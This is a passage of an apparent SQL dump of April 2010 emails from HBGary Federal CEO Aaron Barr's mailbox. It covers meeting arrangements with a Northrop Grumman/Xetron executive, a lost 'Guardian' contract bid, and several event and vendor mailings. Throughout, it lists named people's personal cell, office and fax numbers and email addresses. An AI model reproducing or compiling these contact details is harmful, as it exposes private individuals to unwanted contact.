call.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am starting to not feel very loved.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope all is well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:55 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh yeah.&nbsp; Am in town tomorrow.&nbsp; Up at BWI til 4 then\r\nstaying in Crystal City for 8AM meeting with Jim Barnett on Thursday then back\r\nup to BWI for mtg with NSA at 10.&nbsp; Heading home first thing Friday\r\nmorning.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, April 20,\r\n2010 9:53 PM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Tomorrow\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHey no worries. &nbsp;I understand. &nbsp;Just wanted to\r\nmake sure everything was ok.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTalk to you tomorrow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have been getting some really good traction at NSA the\r\nlast few days, more meetings there next week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 20, 2010, at 9:48 PM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI am very sorry that I have\r\nnot been very responsive&nbsp;for the last few days.&nbsp; Had\r\ntravel last week and just can&#8217;t get caught up.&nbsp; Will call you tomorrow to\r\nget caught up.\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6656,'aaron_hbgary_com/6656.html'),(5853,'2010-04-30','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297004265.M437242P14101Q708.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Eric Jenson','Oh.  Yeah, that is true.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, April 30, 2010 6:30 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Eric Jenson\r\n\r\nHe is one of the developers on the Romas team.  A bit of a surprise to\r\nme that he left and that he is going to Xetron, so maybe someone go the\r\nname wrong, but thats what I heard.\r\n\r\nAaron\r\n\r\nOn Apr 30, 2010, at 5:43 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> That\'s news to me. Who is Eric?\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, April 30, 2010 12:21 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Eric Jenson\r\n> \r\n> Nice.  I always liked Eric, I hear he is coming to work for u guys.\r\n> \r\n> Aaron\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1474,'aaron_hbgary_com/1474.html'),(5854,'2010-04-30','\"Ray Owen\" <ray.owen@comcast.net>','/aaron@hbgary.com/new/1297004265.M689035P14101Q709.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Friday meeting','Sounds like a plan. See you then.&nbsp;Ray Owencell 650.464.5570On Apr 30, 2010, at 12:19 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Bummer. &nbsp;I am up in MD all morning and won\'t be back until about 3pm. &nbsp;Lets shoot for the next time your in town.AaronOn Apr 29, 2010, at 9:43 AM, Ray Owen wrote:Aaron,I actually had to come east this week for several critical meetings, but i finish the last of those today. If you are available, tomorrow morning is free. I\'m staying in the Fair Oaks area. What would be convenient for you?Thanks,RayRay Owencell 650.464.5570On Apr 28, 2010, at 11:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Ray,Checking through email, seeing who I need to touch base with. &nbsp;Anytime in the near future your in town?AaronOn Apr 1, 2010, at 11:22 PM, Ray Owen wrote:  Aaron,  I want to apologize for having a conflict tomorrow. When I planned this trip, tomorrow was supposed to be a free morning before the flight home. Then our government customer planned a Friday morning sponsor briefing on the commercial integration demo proposal that includes HBGary. It was going to be government-only, so we still didn\'t have been a conflict. Then I got the message that government-only didn\'t exclude me. In fact, they wanted me to brief it. Great, except in the rush to review and tweak the briefing and change my return flight, I totally spaced on our breakfast plans until I was updating my calendar.  If you are available tomorrow afternoon, I can travel to meet with you, or we can meet in Crystal City if that\'s convenient. Otherwise, I know I\'ll be back again in a couple of weeks.  Thanks, Ray --  Ray Owen|ray.owen@comcast.net|tel 202.596.1829|cell 650.464.5570    Aaron BarrCEOHBGary Federal Inc.  ',1782,'aaron_hbgary_com/1782.html'),(5855,'2010-04-30','\"Brian Finn\" <brian.finn@carahsoft.com>','/aaron@hbgary.com/new/1297004265.M908557P14101Q710.eml','\"Aaron Barr\" <aaron@hbgary.com>','HP Software Webcast: Prioritize Application Testing Using A Risk-Based Approach','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\nbody {background-color: #F0F0F0;color: #333333;font-size:12px; font-family: Arial, Helvetica, sans-serif;}.tbody {background-color: #fff;color: #333333;font-size:12px; font-family: Arial, Helvetica, sans-serif;}h1 {font-family: Arial, Helvetica, sans-serif;font-size: 24px;font-style: normal;line-height: normal;font-weight: normal;font-variant: normal;text-transform: uppercase;color: #025699;padding: 0px;}p, td { font-size:12px; }td.content { padding-right: 25px; }a:hover { text-decoration: underline; color: #025699; }a:link { text-decoration:\r\nunderline; color: #025699; }a:visited { text-decoration: underline; color: #025699; }.footer {background-color:#58595B;padding:5px;font-family: Arial, Helvetica, sans-serif;font-size: 10px;font-style: normal;line-height: normal;font-weight: normal;font-variant: normal;text-transform: none;color: #FFFFFF;text-align: center;vertical-align: middle;}body { background-color:#F0F0F0 !important; }&nbsp;																																																																																																																Prioritize Application Testing Using A Risk-Based Approach 																								Risk-based quality management allows project leaders to evaluate the level at which to test each requirement, based on the nature of the requirement and available project resources. Understanding the priority and risk associated with each requirement also allows project leaders to drive the right focus in the development, validation efforts, and staffing levels. 																																										Join us&nbsp;for this complimentary webcast where we will show you how to get a comprehensive view of the risks and timeframes associated with current and new development projects.																																										During this webcast,&nbsp;you will learn how to:																																																			Prioritize testing priorities based on risk														Access testing assets anytime, anywhere via a browser interface														Accelerate testing cycles by scheduling and running tests automatically, unattended, 24x7																					Enforce standardized processes and best practices 														Analyze application readiness at any point in the testing process with integrated graphs and reports																																																	Sign up now,&nbsp;or&nbsp;click here&nbsp;for access to the archived recording after the event.&nbsp;																																																						Questions? Contact me.												Brian Finn												HP Software Government 												at Carahsoft Technology Corp.												703-230-7409 (Direct)												888-55-HPGOV (Toll Free)												brian.finn@carahsoft.com												www.carahsoft.com/hpsoftware																																																												Register Today!&nbsp;&nbsp;																								Date: Thursday, May 13, 2010												Time: 2:00pm EDT; 11:00am PDT												Duration:&nbsp;1 Hour																																																																																																																																																																																																																																		Share this e-mail:																																\r\n\r\n\r\n\r\n\r\nClick here to forward this mailing with your personal message.\r\n\r\nThis email was sent to: aaron@hbgary.com\r\nThis email was sent by: Carahsoft Technology Corp.\r\n12369 Sunrise Valley Dr. Suite D2, Reston, VA 20191\r\n\r\n\r\nClick here to leave this mailing list.\r\n\r\n\r\n\r\n  \r\n\r\n\r\n',3649,'aaron_hbgary_com/3649.html'),(5856,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004266.M192040P14101Q711.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: GUARDIAN','DamnBegin forwarded message:From: &quot;Willis, Dan&quot; &lt;Dan.Willis@macb.com&gt;\r\nDate: April 30, 2010 9:10:09 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: GUARDIAN\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\n            We were notified\r\nlast night that we lost the bid.  Harris Corp. was the winner.  We have\r\nrequested a debrief.  When we get that I’ll touch base with you to\r\ndiscuss.\r\n\r\n \r\n\r\n            Thanks for your\r\nsupport on this one.  We’ll certainly look to team with you again as you\r\nprovided very responsive and valuable input.\r\n\r\n \r\n\r\nDan\r\n\r\n \r\n\r\n____________________\r\n\r\nDan B.\r\nWillis\r\n\r\nDirector, IO\r\nPrograms\r\n\r\nInformation\r\nDominance Division\r\n\r\nMacAulay-Brown,\r\nInc.\r\n\r\nOffice  (210)\r\n732-7417\r\n\r\nFax    \r\n(210) 732-1012\r\n\r\nMobile (210)\r\n363-2332\r\n\r\nWeb    \r\nwww.macb.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9937,'aaron_hbgary_com/9937.html'),(5857,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004266.M440820P14101Q712.eml','\"Konkel Ted\" <tkonkel@harris.com>','Guardian','Hi Ted,\r\n\r\nI just heard that Harris won the Guardian contract with AF ISR in San\r\nAntonio. Can you provide me with an email introduction to the PM?\r\n\r\nHope all is well,\r\nTed\r\n',3102,'aaron_hbgary_com/3102.html'),(5858,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004266.M883755P14101Q713.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Hoglund Greg\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>','Fwd: GUARDIAN','Just received this message from Dan at MacB. I haven&#39;t lost all hope though, I reached out to a friend at Harris, who is going to introduce me to their Guardian PM. \r\nTedBegin forwarded message:From: &quot;Willis, Dan&quot; &lt;Dan.Willis@macb.com&gt;\r\nDate: April 30, 2010 9:10:09 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: GUARDIAN\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\n            We were notified\r\nlast night that we lost the bid.  Harris Corp. was the winner.  We have\r\nrequested a debrief.  When we get that I’ll touch base with you to\r\ndiscuss.\r\n\r\n \r\n\r\n            Thanks for your\r\nsupport on this one.  We’ll certainly look to team with you again as you\r\nprovided very responsive and valuable input.\r\n\r\n \r\n\r\nDan\r\n\r\n \r\n\r\n____________________\r\n\r\nDan B.\r\nWillis\r\n\r\nDirector, IO\r\nPrograms\r\n\r\nInformation\r\nDominance Division\r\n\r\nMacAulay-Brown,\r\nInc.\r\n\r\nOffice  (210)\r\n732-7417\r\n\r\nFax    \r\n(210) 732-1012\r\n\r\nMobile (210)\r\n363-2332\r\n\r\nWeb    \r\nwww.macb.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1176,'aaron_hbgary_com/1176.html'),(5859,'2010-04-30','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297004267.M204406P14101Q714.eml','aaron@hbgary.com','May 14 Luncheon with BG Lee Price, PEO C3T, U.S. Army - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     May \r\n        14 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        BG N. Lee S. Price\r\n        Program Executive Officer for Command, Control, Communications \r\n        (Tactical) (PEO C3T)\r\n        U.S. Army\r\n        (speaker biography) \r\n         \r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              May 14, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n            &nbsp;\r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              \r\n              \r\n            \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST\r\n              Bamboo Solutions\r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Intellifiber Networks\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n            \r\n               \r\n            \r\n          LGS \r\n              Innovations\r\n              MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n               \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  May \r\n                    Monthly Lunch w/ BG Lee Price, PEO C3T, U.S. Army\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    May 14 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Young AFCEANS Mentor-Protege Night\r\n                  Maggiano\'s\r\n                    Tysons Corner,\r\n                    Jun 3 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Small Business Breakfast\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 8 (Tue), 2010\r\n                  &nbsp;\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    June 2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jun 11 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Executive Round Table for Corp Table Holders Only\r\n                  Army-Navy \r\n                    Country Club, Arlington, VA,\r\n                    Jun 15 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  SAVE \r\n                    THE DATE:\r\n                    Combat Support IT Day, 2nd Annual Conference\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Jul 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n              \r\n                All \r\n                  Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',15734,'aaron_hbgary_com/15734.html'),(5860,'2010-04-30','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297004267.M426624P14101Q715.eml','\"Aaron Barr\" <aaron@hbgary.com>','ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\nWe are so excited to have gotten such an overwhelming\r\nresponse from the companies and executives who we reached out to for\r\nparticipation in our newly formed Cyber Group.&nbsp; You should have already received\r\ninformation that the kickoff dinner has been scheduled for June 15th.&nbsp;\r\nIf for some reason you are unable to attend that evening, rest assured that you\r\nwill be kept informed and will receive all materials distributed to the group.\r\n\r\n&nbsp;\r\n\r\nIf you haven&#8217;t done so, please make sure you are in\r\nthe process of getting me your most recent Corporate Bio, Executive Photo and\r\nall contact information.&nbsp; We are solidifying the dinner schedule for the\r\ncoming year and will forward this information to you as soon as it is in\r\nplace.&nbsp; You will also be hearing from various members of our organization\r\nregarding your VIP (and two associate) memberships to the Potomac Officers Club\r\n(which is a complimentary part of your 4x24 membership package), and to set up\r\nyour visibility/branding interview.&nbsp;&nbsp; Hopefully you will be\r\nregistering for the upcoming POC (Potomac Officers Club) event featuring the\r\nnew General Services Administrator &#8211; Martha Johnson.&nbsp; For your\r\nconvenience and more info:&nbsp; https://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n&nbsp;\r\n\r\nI am attaching the current group roster.&nbsp; Given the\r\noverwhelming response and the number of companies and executives that we are\r\nstill reviewing, it is very likely that we will have another Cyber Group in the\r\nworks very shortly.&nbsp; As with all of our 4x24 members we ask that you take\r\na minute to consider any executive or company that you think we may have\r\noverlooked for participation. I look forward to hearing from you very shortly\r\non this, as your personal endorsement and intro to a prospective member carries\r\nthe most weight in who we select.&nbsp; This sort of referral is precisely what\r\nhas enabled us to build such a compatible and quality forum. \r\n\r\n&nbsp;\r\n\r\nI look forward to meeting you personally, and am available\r\nto answer any questions you have.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11329,'aaron_hbgary_com/11329.html'),(5861,'2010-04-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004267.M657192P14101Q716.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)','From my iPhoneBegin forwarded message:From: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nDate: April 30, 2010 1:10:39 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: ExecutiveBiz 4x24 Cyber Group Follow-up (Please Read)\r\n\r\n\r\n\r\n\r\nGood Afternoon Aaron,\r\n\r\nWe are so excited to have gotten such an overwhelming\r\nresponse from the companies and executives who we reached out to for\r\nparticipation in our newly formed Cyber Group.  You should have already received\r\ninformation that the kickoff dinner has been scheduled for June 15th. \r\nIf for some reason you are unable to attend that evening, rest assured that you\r\nwill be kept informed and will receive all materials distributed to the group.\r\n\r\n \r\n\r\nIf you haven’t done so, please make sure you are in\r\nthe process of getting me your most recent Corporate Bio, Executive Photo and\r\nall contact information.  We are solidifying the dinner schedule for the\r\ncoming year and will forward this information to you as soon as it is in\r\nplace.  You will also be hearing from various members of our organization\r\nregarding your VIP (and two associate) memberships to the Potomac Officers Club\r\n(which is a complimentary part of your 4x24 membership package), and to set up\r\nyour visibility/branding interview.   Hopefully you will be\r\nregistering for the upcoming POC (Potomac Officers Club) event featuring the\r\nnew General Services Administrator – Martha Johnson.  For your\r\nconvenience and more info:  https://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n\r\n \r\n\r\nI am attaching the current group roster.  Given the\r\noverwhelming response and the number of companies and executives that we are\r\nstill reviewing, it is very likely that we will have another Cyber Group in the\r\nworks very shortly.  As with all of our 4x24 members we ask that you take\r\na minute to consider any executive or company that you think we may have\r\noverlooked for participation. I look forward to hearing from you very shortly\r\non this, as your personal endorsement and intro to a prospective member carries\r\nthe most weight in who we select.  This sort of referral is precisely what\r\nhas enabled us to build such a compatible and quality forum. \r\n\r\n \r\n\r\nI look forward to meeting you personally, and am available\r\nto answer any questions you have.\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n \r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15387,'aaron_hbgary_com/15387.html'),(5862,'2010-04-30','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004267.M885448P14101Q717.eml','\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,aaron@hbgary.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,tjriesen@archimedesglobal.com,jon@whitecanvasgroup.com,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','Media Strategy Capabilities Paper','\r\n\r\n\r\n\r\n\r\nMedia Strategy Capabilities Paper\r\n\r\n\r\n\r\n\r\nType:Single Meeting\r\nOrganizer:Clair, Chris (TASC)\r\nStart Time:Tuesday, May 04, 2010 10:00 AM\r\nEnd Time:Tuesday, May 04, 